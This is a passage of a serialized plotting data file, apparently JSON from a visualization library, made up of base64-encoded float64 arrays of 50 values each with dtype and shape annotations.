PwPwr+G3/ebWZLBvyGoIMwwNMG/2IOsj/j0wL/m3eXYJ9TAv4whF5o10cC/CbqKxZjrwL+cEotNyCLBv4KWYiQ7dsG/+7BbPGjlwb9HzcCHxm/Cv6ZW3PjMFMO/Vrj4gfLTw7+VXWAVrqzEv6WxXaV2nsW/wR87JMOoxr8rE0OECsvHvyL3v7fDBMm/4jb8sGVVyr+uPUJiZ7zLv8J23L0/Oc2/YE0VtmXLzr9ilpseKDnQvxhAxiK7FtG/cdmvYCf+0b8MmH1RKO/Sv4exVG556dO/hltaMNbs1L+my7MQ+vjVv4Y3hoigDde/w9T2EIUq2L8E2SojY0/Zv+J5Rzj2e9q/AO1xyfmv27/6Z89PKevcv3IghURALd6/CEy4IPp1378uEMcuiWLgv4XpFToiDeG/2kzb7qW64b/91KkJ8mriv74cFEfkHeO/7L6sY1rT479WVgYcMovkv8x9syxJReW/INBGUn0B5r8h6FJJrL/mv55gas6zf+e/ZdQfnnFB6L9J3gV1wwTpvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"6g/764Ihs79vTxtKj4Kyv7LyhCri0bG/DfkbuPoPsb/cYcQdWD2wv/hYxAzztK6/mLCyObzPrL9PyRsYCsyqv9Shx/3aqqi/4Dh+QC1tpr8vjQc2/xOkv3qdKzRPoKG/89BkITcmnr/Y2cdCxdqYvwFTEHhFYJO/83Oc2Whxi79qMEYyO5h/vzBupC4UpV6/zGBeEh7icD+EJ8i8/QCFP0su6x6Y65A/Z+qcmtZ3lz+WSumlPSOeP7kooErodaI/xACJXsnnpT+uLue4Q2apP7yz8gNZ8Kw/nsjxdIVCsD865HiKrRGyP1Otqpcl5bM/iiSjcW68tT+KSn7tCJe3P/AfWOB1dLk/YqVMHzZUuz+C23d/yjW9P/LC9dWzGL8/LC7xezl+wD8s1CxdRHDBP8rTO/k6YsI/Vi2sut1Twz8k4QsM7UTEP4Xv6FcpNcU/zFjRCFMkxj9HHVOJKhLHP0k9/ENw/sc/J7lao+ToyD8vkfwRSNHJP7XFb/pat8o/CFdCx92ayz98RQLjkHvMPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"Zr2uML1pgL9akP9dJBl/v31ZkvLY8Xu/PTw3kWpld7+Xng+sq3txvyDNeWrdeGS/hqIH7mH4Or8sgchJd0ZgP7Dj7yMENHM/HQkh7AB7fz9uJavFL3iGP3ght8cmxo0/1eKRIb7Rkj9+L3B/IwaXPzsd7uBOfps/Q6nB1CUcoD/zulOeEpmiP+wW6X7zNKU/Z5A9KM7upz+w+gxMqMWqP/ooE5yHuK0/R/cF5ThjsD9Sj9lDNvexP0JGYsO+l7M/tQV+PFVEtT9KtwqIfPy2P59E5n63v7g/WJfu+YiNuj8VmQHSc2W8P3Iz/d/6Rr4/B6hfftAYwD9I7JKAdBLBP0hbB+MqEMI/2ukrErURwz/MjG961BbEP+04QYhKH8U/EOMPqNgqxj8CgEpGQDnHP5YEYM9CSsg/mGW/r6FdyT/al9dTHnPKPy6QFyh6iss/YEPumHajzD9CpsoS1b3NP6GtGwJX2c4/VE5Q0731zz+Svmt5ZYnQP3IXkOYfGNE/MaxM5+6m0T8599gxszXSPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"UIsQO9YSrj+DHaRtR0OtP4Og7gFTq6w/PHYcuQNKrD+LAFpUZB6sP12h05R/J6w/l7q1O2BkrD8griwKEdSsP9zdZMGcda0/r6uKIg5Irj+Eecrub0qvP6FUqHPmPbA/Zs6k5pftsD8E2/Cw0bOxP3GrIjMZkLI/nHDQzfOBsz98W5Dh5oi0PwKd+M53pLU/Hmaf9ivUtj/K5xq5iBe4P/NSAXcTbrk/ktjokFHXuj+UqWdnyFK8P/D2E1v9370/mvGDzHV+vz9B5SaO25bAP03Zg1WjdsE/bu2j7FRewj8aOtIDs03DP8zXWUuARMQ//d6Fc39CxT8oaKEsc0fGP8aL9yYeU8c/UWLTEkNlyD9ABICgpH3JPw6KSIAFnMo/Ngx4YijAyz8wo1n3z+nMP3dnOO++GM4/gnFf+rdMzz/m7IzkvkLQP2lc2YVp4dA/hZM6OT2C0T91HtZWGyXSP3iJ0TblydI/zGBSMXxw0z+sMH6ewRjUP1SFetaWwtQ/A+tsMd1t1T/17XoHdhrWPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"/FohDHIHwD8r1q6gJyS/P05xE/MYWr4/tQJ+dkCwvT+vBfyRJia9P5P1mqxTu7w/sU1oLVBvvD9giXF7pEG8P+8jxP3YMbw/sZhtG3Y/vD/6Yns7BGq8PyH++sQLsbw/deX5HhUUvT9KlIWwqJK9P/OFq+BOLL4/wzV5FpDgvj8NH/y49K6/P5PeoJeCS8A/rsUr8CTMwD+DgqWZJVnBP7vSlMdI8sE/AXSArVKXwj/8I+9+B0jDP1egZ28rBMQ/vqZwsoLLxD/U9JB70Z3FP0hIT/7besY/wl4ybmZixz/s9cD+NFTIP27LgeMLUMk/85z7T69Vyj8lKLV342TLP6oqNY5sfcw/MmICxw6fzT9gjKNVjsnOP+Bmn22v/M8/rlc+IRuc0D/AEeGD8z3RP3hAe/jC49E/rELQmGuN0j8yd6N+zzrTP908uMPQ69M/hPLRgVGg1D/49rPSM1jVPxCpIdBZE9Y/o2fek6XR1j+Dka03+ZLXP4SFUtU2V9g/faKQhkAe2T9CRytl+OfZPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"2W9PzeJ3yD/35tGaX67HPxgLh7620cY//dWMFHjixT9nQQF5M+HEPxpHAsh4zsM/1uCt3deqwj9fCCKW4HbBP3O3fM0iM8A/sM+3v1zAvT+YJrtSJv26PypnPwzCHbg/5ISApE8jtT9Qc7rT7g6yP9lLUqR+w60/hCARsME5pz+USyk75oKgP0VoJWxXQpM/qAkqioy2dD+6mBwLo2eCvwI2NauH3Ze/Oza9NoBlo7/MELd13vuqv94hCJHPV7G/AHSoZUE/tb9Di4AAJTO5vyR0VKlaMr2/kx30U+GdwL9g9v+hHqfCv7jKr2JVtMS/1KDlufXExr/8foPLb9jIv2hra7sz7sq/Vmx/rbEFzb8EiKHFWR7Pv1ji2RPOm9C/ThTMe3So0b8BXZgs2LTSv5C/LzixwNO/Gz+DsLfL1L/A3oOno9XVv6GhIi8t3ta/2opQWQzl17+Jnf43+enYv9DcHd2r7Nm/zUufWtzs2r+g7XPCQurbv2bFjCaX5Ny/QNbamJHb3b9LI08r6s7evw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"qJtT7jJm0D8SIOgvztTPP2fBzG36784/WAhUdb4dzj/k4Xwl7l3NPxQ7Rl1dsMw/6wCv+98UzD91ILbfSYvLP62GWuhuE8s/nCCb9CKtyj9K23bjOVjKP7mj7JOHFMo/8Gb75N/hyT/0EaK1FsDJP8qR3+T/rsk/eNOyUW+uyT8AxBrbOL7JP2pQFmAw3sk/uWWkvykOyj/08MPY+E3KPx/fc4pxnco/QR2zs2f8yj9emIAzr2rLP3w92+gb6Ms/nvnBsoF0zD/LuTNwtA/NPwZrLwCIuc0/WPqzQdBxzj/EVMATYTjPP6izqSqHBtA/fg+28tV30D9rtITRBvDQP+4YlbYDb9E/jLNmkbb00T/G+nhRCYHSPx5lS+blE9M/GGldPzat0z84fS5M5EzUP/wXPvzZ8tQ/668LPwGf1T+GuxYERFHWP1Cx3jqMCdc/ywfj0sPH1z94NaO71IvYP9ywnuSoVdk/evBUPSol2j/TakW1QvraP2uW7zvc1Ns/wunSwOC03D9d224zOprdPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"kVqjkrx91D/uCF/2ceLTPyur1uOuUdM/1BPVJ17L0j9uFSWPak/SP4mCkea+3dE/rS3l+kV20T9q6eqY6hjRP0WIbY2XxdA/zNw3pTd80D+JuRSttTzQPwjxznH8BtA/qKtigO21zz/wdA3KHnHPP/ziM1piP88/5ppryo0gzz+/QUq0dhTPP6F8ZbHyGs8/n/BSW9czzz/RQqhL+l7PP0oY+xsxnM8/JhbhZVHrzz+78HdhGCbQP6mPXmZSX9A/aDpvjkGh0D+Cw3Sm0OvQP4T9OXvqPtE/+LqJ2Xma0T9ozi6Oaf7RP2AK9GWkatI/akGkLRXf0j8URgqyplvTP+Xq8L9D4NM/bAIjJNds1D8wX2urSwHVP77TlCKMndU/ojJqVoNB1j9kTrYTHO3WP5T5QydBoNc/twbeXd1a2D9dSE+E2xzZPw6RYmcm5tk/V7Pi06i22j/BgZqWTY7bP9jOVHz/bNw/KG3cUalS3T87L/zjNT/eP5znfv+PMt8/a7SXOFEW4D+6QuwCrJbgPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"ZKmupuJ92D8hCLr9ysPXP2nbQlxVFdc/FVCcf21y1j/4khkl/9rVP+vQDQr2TtU/xTbM6z3O1D9d8aeHwljUP4kt9Jpv7tM/HxgE4zCP0z/03Sod8jrTP+Sruwaf8dI/w64JXSOz0j9oE2jdan/SP6oGKkVhVtI/XrWiUfI30j9dTCXACSTSP334BE6TGtI/lOaUuHob0j96Qyi9qybSPwM8EhkSPNI/Cv2liZlb0j9kszbMLYXSP+eLF566uNI/arObvCv20j/EVhblbD3TP8yi2tRpjtM/WcQ7SQ7p0z9B6Iz/RU3UP1s7IbX8utQ/fOpLJx4y1T+AImATlrLVPzgQsTZQPNY/fuCRTjjP1j8owFUYOmvXPwzcT1FBENg/AmHTtjm+2D/gezMGD3XZP3xZw/ysNNo/rybWV//82j9OEL/U8c3bPzFD0TBwp9w/LuxfKWaJ3T8aOL57v3PeP85TP+VnZt8/ETabkaUw4D/1Vnt5KrLgP/+i6Yi4N+E/mrCPnkXB4T8zFheZx07iPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"FgnZLxRi3D8mEghoBIrbPxMQCeWkvto/12VeZuL/2T9bdoqrqU3ZP5ekD3Tnp9g/e1Nwf4gO2D8B5i6NeYHXPxK/zVynANc/qEHPrf6L1j+x0LU/bCPWPyTPA9LcxtU/8p87JD121T8Ppt/1eTHVP25EcgaA+NQ/Ad51FTzL1D+51WzimqnUP4yO2SyJk9Q/a2s+tPOI1D9Jzx04x4nUPxod+nfwldQ/0LdVM1yt1D9gArMp98/UP7pflBqu/dQ/0jJ8xW021T+a3uzpInrVPwfGaEe6yNU/C0xynSAi1j+Y04urQobWP6C/NzEN9dY/GHP47Wxu1z/0UFChTvLXPyS8wQqfgNg/nBfP6UoZ2T9Oxvr9PrzZPy4rxwZoado/MKm2w7Ig2z9Eo0v0C+LbP198CFhgrdw/cpdvrpyC3T9zVwO3rWHeP1MfRjGASt8/AildboAe4D89KXE8jpzgP9RBoOJfH+E/QKSrwOum4T/8gVQ2KDPiP38MXKMLxOI/Q3WDZ4xZ4z/E7YvioPPjPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"rQ0ODvAS4D+81UtkzzDfP30tWNFvSd4/PxH1NK9v3T+hb9Zge6PcP0Q3sCbC5Ns/zFY2WHEz2z/bvBzHdo/aPw1YF0XA+Nk/Chfaoztv2T9t6Bi11vLYP9y6h0p/g9g/93zaNSMh2D9gHcVIsMvXP7iK+1QUg9c/n7MxLD1H1z+2hhugGBjXP6PybIKU9dY/AObZpJ7f1j91TxbZJNbWP6Ad1vAU2dY/Iz/NvVzo1j+hoq8R6gPXP7k2Mb6qK9c/DOoFlYxf1z8+q+FnfZ/XP+1oeAhr69c/vhF+SEND2D9RlKb586bYP0bfpe1qFtk/PuEv9pWR2T/eiPjkYhjaP8TEs4u/qto/k4MVvJlI2z/rs9FH3/HbP25EnAB+ptw/vSMpuGNm3T98QCxAfjHeP0iJWWq7B98/xOxkCAnp3z/KLAF2qmrgPyvfcnNG5uA/1oRhZU9n4T8cFac0vO3hP06HHcqDeeI/vdKeDp0K4z+47gTr/qDjP5HSKUigPOQ/mHXnDnjd5D8fzxcofYPlPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"tBvzKX3i4T+4R6CAAFrhP/qxt6PV2OA/kv9UDPRe4D8wqydnptjfP1OyHyXVAd8/wl7JRGM53j+0+lu4P3/dP1jQDnJZ09w/5ikZZJ813D+TUbKAAKbbP5SREbprJNs/ITRuAtCw2j9tg/9LHEvaP63J/Ig/89k/GVGdqyip2T/eYximxmzZPzlMpWoIPtk/XFR769wc2T9+xtEaMwnZP9Hs3+r5Atk/jhHdTSAK2T/pfgA2lR7ZPxR/gZVHQNk/SFyXXiZv2T+4YHmDIKvZP5nWXvYk9Nk/Iwh/qSJK2j+JPxGPCK3aPwDHTJnFHNs/vOhoukiZ2z/17pzkgCLcP9wjIApduNw/rNEpHcxa3T+WQvEPvQneP87ArdQexd4/jpaWXeCM3z8Eh3FOeDDgP7g4ZUKfoOA/fgXCg9wW4T9ykqOLJ5PhP62EJdN3FeI/S4Fj08Sd4j9kLXkFBizjPxQuguIywOM/eCia40Ja5D+nwdyBLfrkP7yeZTbqn+U/1WRQenBL5j8IubjGt/zmPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"TuvhUKCd4z80stEyLwjjP448WCBGe+I/CO/jD9n24T9KLuP323rhP/9exM5CB+E/0uX1igGc4D9xJ+YiDDngP/4QBxqtvN8/WNt4f6kX3z9Ad/5i9YLePw6udLF4/t0/GUm4VxuK3T+1EaZCxSXdPzLRGl9e0dw/7FDzmc6M3D8xWgzg/VfcP1y2Qh7UMtw/vS5zQTkd3D+ujHo2FRfcP4CZNepPINw/jB6BSdE43D8k5TlBgWDcP562PL5Hl9w/UFxmrQzd3D+Mn5P7tzHdP6pJoZUxld0//iNsaGEH3j/f99BgL4jeP52OrGuDF98/kbHbdUW13z8IlR22rjDgP7fg053ZjeA/gCB/aBfy4D8OuY0MXF3hPwwPboCbz+E/I4eOuslI4j/+hV2x2sjiP0hwSVvCT+M/q6rArnTd4z/TmTGi5XHkP2miCiwJDeU/GCm6QtOu5T+Kkq7cN1fmP2hDVvAqBuc/YaAfdKC75z8cDnlejHfoP0Xx0KXiOek/hq6VQJcC6j+KqjUlntHqPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"404dtV9C5T975qPCDaDkP+Id4ppGBuQ/HDZn8wB14z8scMKBM+ziPxkNg/vUa+I/5E04Ftzz4T+Wc3GHP4ThPzC/vQT2HOE/t3GsQ/a94D8wzMz5NmfgP58PrtyuGOA/Ffq+Q6mk3z/squD9PSjfP8qz31IJvN4/u5barfhf3j/F1e95+RPeP/TyPSL5190/THDjEeWr3T/bz/6zqo/dP6mTrnM3g90/wD0RvHiG3T8mUEX4W5ndP+ZMaZPOu90/Crab+L3t3T+aDfuSFy/eP53Vpc3If94/H5C6E7/f3j8pv1fQ507fP8Dkm24wzd8/eMHSLEMt4D/ijUl+a3vgP6GYQeEH0eA/uiJKCw8u4T8ybfKxd5LhPw65yYo4/uE/UEdfS0hx4j/+WEKpneviPx4vAlovbeM/sgouE/T14z/ALFWK4oXkP0zWBnXxHOU/W0jSiBe75T/yw0Z7S2DmPxKK8wGEDOc/xdtn0re/5z8M+jKi3XnoP+sl5CbsOuk/aqAKFtoC6j+KqjUlntHqPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"aKw5F9vO5j+98VCxkSDmP0cnKvkqe+U/4CP7c57e5D9avvmm40rkP5DNWxfyv+M/WChXSsE94z+OpSHFSMTiPwMc8QyAU+I/kmL7pl7r4T8TUHYY3IvhP1u7l+bvNOE/RXuVlpHm4D+nZqWtuKDgP1dU/bBcY+A/LxvTJXUu4D8EklyR+QHgP2Afn/HCu98/EtbDwkiE3z/M9ZKgc13fPz4seJUyR98/Gyffq3RB3z8QlDPuKEzfP8kg4WY+Z98/+HpTIKSS3z9KUPYkSc7fPzinmj8ODeA/jBG+nAY74D/5PRsvBXHgP1YD6HsBr+A/ejhaCPP04D8/tKdZ0ULhP3lNBvWTmOE/AturXzL24T+yM84epFviP14uo7fgyOI/36Fgr9894z8NZTyLmLrjP79ObNACP+Q/zDUmBBbL5D8M8Z+ryV7lP1hXD0wV+uU/hT+qavCc5j9rgKaMUkfnP+LwOTcz+ec/w2ea74my6D/lu/06TnPpPx3EmZ53O+o/RVekn/0K6z80TFPD1+HrPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"xnpG6k1B6D9QtVVl1IfnP+z16RSM1+Y/YF5iU20w5j9wEB57cJLlP+MtfOaN/eQ/g9jb771x5D8VMpzx+O7jP15cHEY3deM/JXm7R3EE4z8xqthQn5ziP0sR07u5PeI/ONAJ47jn4T+/CNwglZrhP6bcqM9GVuE/tG3PScYa4T+v3a7pC+jgP19OpgkQvuA/iOEUBMuc4D/1uFkzNYTgP2n20/FGdOA/rbvimfhs4D+HKuWFQm7gP71kOhAdeOA/FoxBk4CK4D9YwllpZaXgP0sp4uzDyOA/tuI5eJT04D9eEMBlzyjhPwvU0w9tZeE/g0/U0GWq4T+MpCADsvfhP+70FwFKTeI/cGIZJSar4j/YDoTJPhHjP+obt0iMf+M/cqsR/Qb24z803/JAp3TkP/XYuW5l++Q/fbrF4DmK5T+VpXXxHCHmPwC8KPsGwOY/iB8+WPBm5z/w8RRj0RXoPwBVDHaizOg/gWqD61uL6T85VNkd9lHqP+0zbWdpIOs/YyueIq726z9lXMupvNTsPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"ZpBaWBGY6T/jY2PRO9ToP+hvmlbcGeg/ZTjzG+xo5z9BQWFVZMHmP28O2DY+I+Y/2CNL9HKO5T9tBa7B+wLlPxc39NLRgOQ/xTwRXO4H5D9kmviQSpjjP9/TnaXfMeM/KG30zabU4j8p6u89mYDiP8/OgymwNeI/B5+jxOTz4T+/3kJDMLvhP+MRVdmLi+E/YLzNuvBk4T8lYqAbWEfhPxyHwC+7MuE/Nq8hKxMn4T9dXrdBWSThP34YdaeGKuE/iWFOkJQ54T9ovTYwfFHhPwmwIbs2cuE/Wr0CZb2b4T9Iac1hCc7hP743deUTCeI/q6ztI9ZM4j/8SypRSZniP56ZHqFm7uI/fhm+RydM4z+IT/x4hLLjP6q/zGh3IeQ/0e0iS/mY5D/rXfJTAxnlP+OTLreOoeU/qBPLqJQy5j8nYbtcDszmP0sA8wb1bec/BHVl20EY6D89QwYO7sroP+LuyNLyhek/5PugXUlJ6j8u7oHi6hTrP6xJX5XQ6Os/TZIsqvPE7D/9S91UTantPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"lqo1JZ7R6j98oD+qr/rpP7x9Tb17Guk/1wQwkWEx6D9E+LdYwD/nP4Qatkb3ReY/Ey77jWVE5T9u9VdhajvkPxIznfNkK+M/e6mbd7QU4j8mGyQguPfgPySVDkCeqd8/dfQrVLFY3T892UHiZ/3aP27I8U+AmNg/C0fdArkq1j8E2qVg0LTTP1gG7c6EN9E/BaKoZilnzT/2ffrmfFPIP3qqEuqANcM/CWNodmQdvD8aOkRLG8GxP+S3+6R/ZJ0/OGsLyaC8iL8oiK1KDhyrvyoC26Q/B7i/6AmUACJAwb+L8ttRDXvGvwgxAvvkssu/tN1hGBZz0L/iw+4TswnTvwxGhgqLnNW/QN+Glt8q2L99Ck9S8rPav8tCPdgEN92/MwOwwliz379c4wLWFxThvzKETpdlSuK/nCFqcjZ8478e+YQ0K6nkvzxIzqrk0OW/eEx1ogPz5r9WQ6noKA/ov1ZqmUr1JOm///50lQk06r/TPmuWBjzrv1NnqxqNPOy/BbZk7z017b9qaMbhuSXuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"Grm4xrf85r/Sg1Xvp0rmv7g8BonNnOW/CXKBWDnz5L/6sX0i/E3kv8iKsasmreO/rorTuMkQ47/oP5oO9njiv6s4vHG85eG/NgPwpi1X4b/CLexyWs3gv4lGZ5pTSOC/ircvxFOQ379o92gd3Jnevxdp58lhrd2/EykYUwbL3L/KU2hC6/Lbv7YFRSEyJdu/Slsbefxh2r/8cFjTa6nZvz5jabmh+9i/h067tL9Y2L9PT7tO58DXvwSC1hA6NNe/IAN6hNmy1r8U7xIz5zzWv1ZiDqaE0tW/XXnZZtNz1b+dUOH+9CDVv4gEk/cK2tS/lbFb2jaf1L85dKgwmnDUv+do5oNWTtS/FqyCXY041L86WupGYC/Uv8iPisnwMtS/MmnQbmBD1L/yAinA0GDUv3l5AUdji9S/POnGjDnD1L+ybuYadQjVv0wmzXo3W9W/hCzoNaK71b/JnaTV1inWv5SWb+P2pda/WDO26CMw17+MkOVuf8jXv6DKav8qb9i/Dv6yI0gk2b9IRytl+OfZvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"tu/FeUm+5L8n5l1wkR7kvx666UqLhOO/038cDTzw4r99S6m6qGHiv1oxQ1fW2OG/n0Wd5slV4b+MnGpsiNjgv1ZKXuwWYeC/bMZW1PTe37/R9gnTbwffv01OPNyoO96/U/VT96l73b9XFLcrfcfcv8zTy4AsH9y/Jlz4/cGC27/W1aKqR/Lav1JpMY7Hbdq/Cz8KsEv12b92f5MX3ojZvwZTM8yIKNm/MeJP1VXU2L9pVU86T4zYvx7VlwJ/UNi/yImPNe8g2L/Ym5zaqf3Xv8EzJfm45te/+XmPmCbc17/ylkHA/N3XvxyzoXdF7Ne/8PYVxgoH2L/figSzVi7Yv1yX00UzYti/20Tphaqi2L/Qu6t6xu/Yv6wkgSuRSdm/5qfPnxSw2b/ubf3eWiPavzyfcPBto9q/PGSP21cw279q5b+nIsrbvzNLaFzYcNy/Dr7uAIMk3b9rZrmcLOXdv8FsLjffst6/g/mz16SN37+RGtjCwzrgvwqkRKRIteC/Za3SE2Y24b/dSjUVIb7hvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"QRYXmcdO4r/Xn2UoZMThv6UrjM8cROG/ClXR3trN4L9gt3umh2HgvxHco+0Y/t+/wCg1QKVM37+Nizjlhq7evy47O32QI96/Ym7KqJSr3b/lW3MIZkbdv3Q6wzzX89y/zEBH5rqz3L+ppYyl44Xcv8SfIBskaty/3WWQ505g3L+sLmmrNmjcv/AwOAeugdy/ZKOKm4es3L/GvO0Ilujcv86z7u+rNd2/Pb8a8ZuT3b/OFf+sOALevzvuKMRUgd6/Qn8l18IQ37+e/4GGVbDfvwXTZbnvL+C/o9RHnpmP4L8FoC3CEffgv4rQXXVBZuG/kAEfCBLd4b92zrfKbFviv5nSbg074eK/V6mKIGZu478O7lFU1wLkvxw8C/l3nuS/4C79XjFB5b+4YW7W7OrlvwFwpa+Tm+a/GfXoOg9T579gjH/ISBHovzHRr6gp1ui/7l7AK5uh6b/x0PehhnPqv5rCnFvVS+u/SM/1qHAq7L9YkknaQQ/tvyin3j8y+u2/Fqn7KSvr7r+BM+foFeLvvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"AAAAAAAA8L/x4byKYwHvv63yuwZa++2/3zUnpkHu7L8iryibeNrrvx9i6hddwOq/d1KWTk2g6b/Ug1Zxp3rov9T5VLLJT+e/Hbi7QxIg5r9SwrRX3+vkvxscaiCPs+O/F8kF0H934r/wzLGYDzjhv4lWMFk569+/ec/Fewph3b/tC3j9TtLavzYTm0LDP9i/nuyCryOq1b9nn4OoLBLTv9sy8ZGaeNC/i1w/oFO8y7/cMcaOLYfGvy30Hrg7U8G/LWTjye1DuL+o6Jl3X9Orv9ivVbp21Yy/aOdMSY2Ymj/8vbwv1dWwP0y5oS918bo/TAdZ4Ah7wj9y0M6oXHDHP3spiig9V8w/7oFxyxiX0D+AqJiV4PnSPyiBZo45U9U/qASHUWei1z+xK6Z6rebZP/zub6VPH9w/P0eQbZFL3j+bllk3WzXgP8xMQiIBPuE/jUJYRVw/4j87dHFuDjnjPzDeY2u5KuQ/zXwFCv8T5T9pTCwYgfTlP2JJrmPhy+Y/E3BhusGZ5z/YvBvqw13oPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"UdZDevjr77+dujMMSvPuv3wzLU+r/e2/H3SFZEIL7b+wr5FtNRzsv18Zp4uqMOu/WeQa4MdI6r/TQ0KMs2Tpv/NqcrGThOi/6owAcY6o57/k3EHsydDmvxaOi0Rs/eW/qtMym5su5b/Q4IwRfmTkv7Po7sg5n+O/hR6u4vTe4r9ztR+A1SPiv6ngmMIBbuG/WdNuy5+94L+vwPa71RLgv7S3C2uT296/FLDiskOd3b/Y0BySCGvcv1uAZEsuRdu/+yRkIQEs2r8TJcZWzR/ZvwPnNC7fINi/J9Fa6oIv17/aSeLNBEzWv3i3dRuxdtW/YIC/FdSv1L/uCmr/uffTv3y9HxuvTtO/a/6Kq/+00r8VNFbz9yrSv9nEKzXksNG/EBe2sxBH0b8akZ+xye3Qv1GZknFbpdC/FJY5NhJu0L+/7T5COkjQv64GTdgfNNC/PUcOOw8y0L/KFS2tVELQv7LYU3E8ZdC/UfYsyhKb0L8D1WL6I+TQvybbn0S8QNG/Fm+O6yex0b8w99gxszXSvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"EDnh+/qv77+SPmbx8rvuv5d47B6H0O2/17xMp7/t7L8J4V+tpBPsv+W6/lM+Quu/JSACvpR56r+E5kIOsLnpv7TjmWeYAum/ce3f7FVU6L9y2e3A8K7nv3F9nAZxEue/J6/E4N5+5r9LRD9yQvTlv5US5d2jcuW/we+ORgv65L+BsRXPgIrkv5ItUpoMJOS/qjkdy7bG47+Dq0+Eh3Ljv9VYwuiGJ+O/WRdOG73l4r/IvMs+Mq3iv9geFHbufeK/QhMA5PlX4r/Ab2irXDvivwkKJu8eKOK/1rcR0kge4r/fTgR34h3iv92k1gD0JuK/h49hkoU54r+X5H1On1Xiv8R5BFhJe+K/ySTO0Yuq4r9cu7PebuPivzQTjqH6JeO/DgI2PTdy47+eXYTULMjjv5/7UYrjJ+S/yLF3gWOR5L/TVc7ctATlv3a9Lr/fgeW/bL5xS+wI5r9rLnCk4pnmvyzjAu3KNOe/arICSK3Z57/acUjYkYjovzb3rMCAQem/NxgJJIIE6r+UqjUlntHqvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"dXfqnVJM779prcfqQVLuv0+upmrhTu2/9lPNK5hC7L8leIE8zS3rv6b0CKvnEOq/Q6OphU7s6L/KXanaaMDnvwP+Tbidjea/uF3dLFRU5b+1Vp1G8xTkv8XC0xPiz+K/sXvGooeF4b9HW7sBSzbgv5x28H0mxd2/KOuF0Y4V27+6x8IanV7Yv/S/MnYfodW/aIdhAOTd0r+p0drVuBXQv5qkVCbYksq/1nm3qZfzxL9oFOvdmJ6+v5t5TF4lT7O/uMYHGzXwn7/wpy20t7uKPzBYt85dUK0/ZCWRGeLyuT87qXsNLJrCP4CyrzysNMg/UUdNYVXHzT9IgB6hRajRP4S7M9NYZ9Q/zaFaKhYg1z+GfweKr9HZPxyhrtVWe9w//lLE8D0c3z/LcF5fy9ngP6ZMhpFJIOI/ReOTgDJh4z/gWkEeH5zkP6rZSFyo0OU/2oVkLGf+5j+jhU6A9CToPzv/wEnpQ+k/3Bh2et5a6j+2+CcEbWnrPwHFkNgtb+w/8aNq6blr7T+9u28oql7uPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"maqvIXzB7r/SQNmbqdPtv2QOzeZK7Oy/soGtEHIL7L8eCZ0nMTHrvwgTvjmaXeq/1A0zVb+Q6b/pZx6Issrov6OPouCFC+i/Z/PhbEtT57+WAf86FaLmv5YoHFn19+W/x9Zb1f1U5b+PeuC9QLnkv0yCzCDQJOS/ZFxCDL6X4781d2SOHBLjvyhBVbX9k+K/mSg3j3Md4r/vmywqkK7hv4kJWJRlR+G/z9/b2wXo4L8gjdoOg5Dgv91/djvvQOC/10yk37jy379a3h90uXPfvweRpFAEBd+/pEF3kb2m3r/2zNxSCVnev8IPGrELHN6/zuZzyOjv3b/fLi+1xNTdv7jEkJPDyt2/IIXdfwnS3b/cTFqWuurdv7D4S/P6FN6/YmX3su5Q3r+4b6HxuZ7ev3b0jsuA/t6/X9AEXWdw37884EfCkfTfv2iAzguSReC/cIekPCGa4L+Zc8iBCPjgv0SzXOlZX+G/1rSDgSfQ4b+x5l9Yg0rivza3E3x/zuK/yZTB+i1c47/M7YvioPPjvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"AWqSVCUQ7r+Z5uRYqh/tv6Aqk66uJey/ZkI0TZgi678tOl8szRbqv0Yeq0OzAum/+vquirDm57+W3AH5KsPmv2HPOoaImOW/p9/wKS9n5L+yGbvbhC/jv9CJMJPv8eG/SjzoR9Wu4L/UevLiN83ev/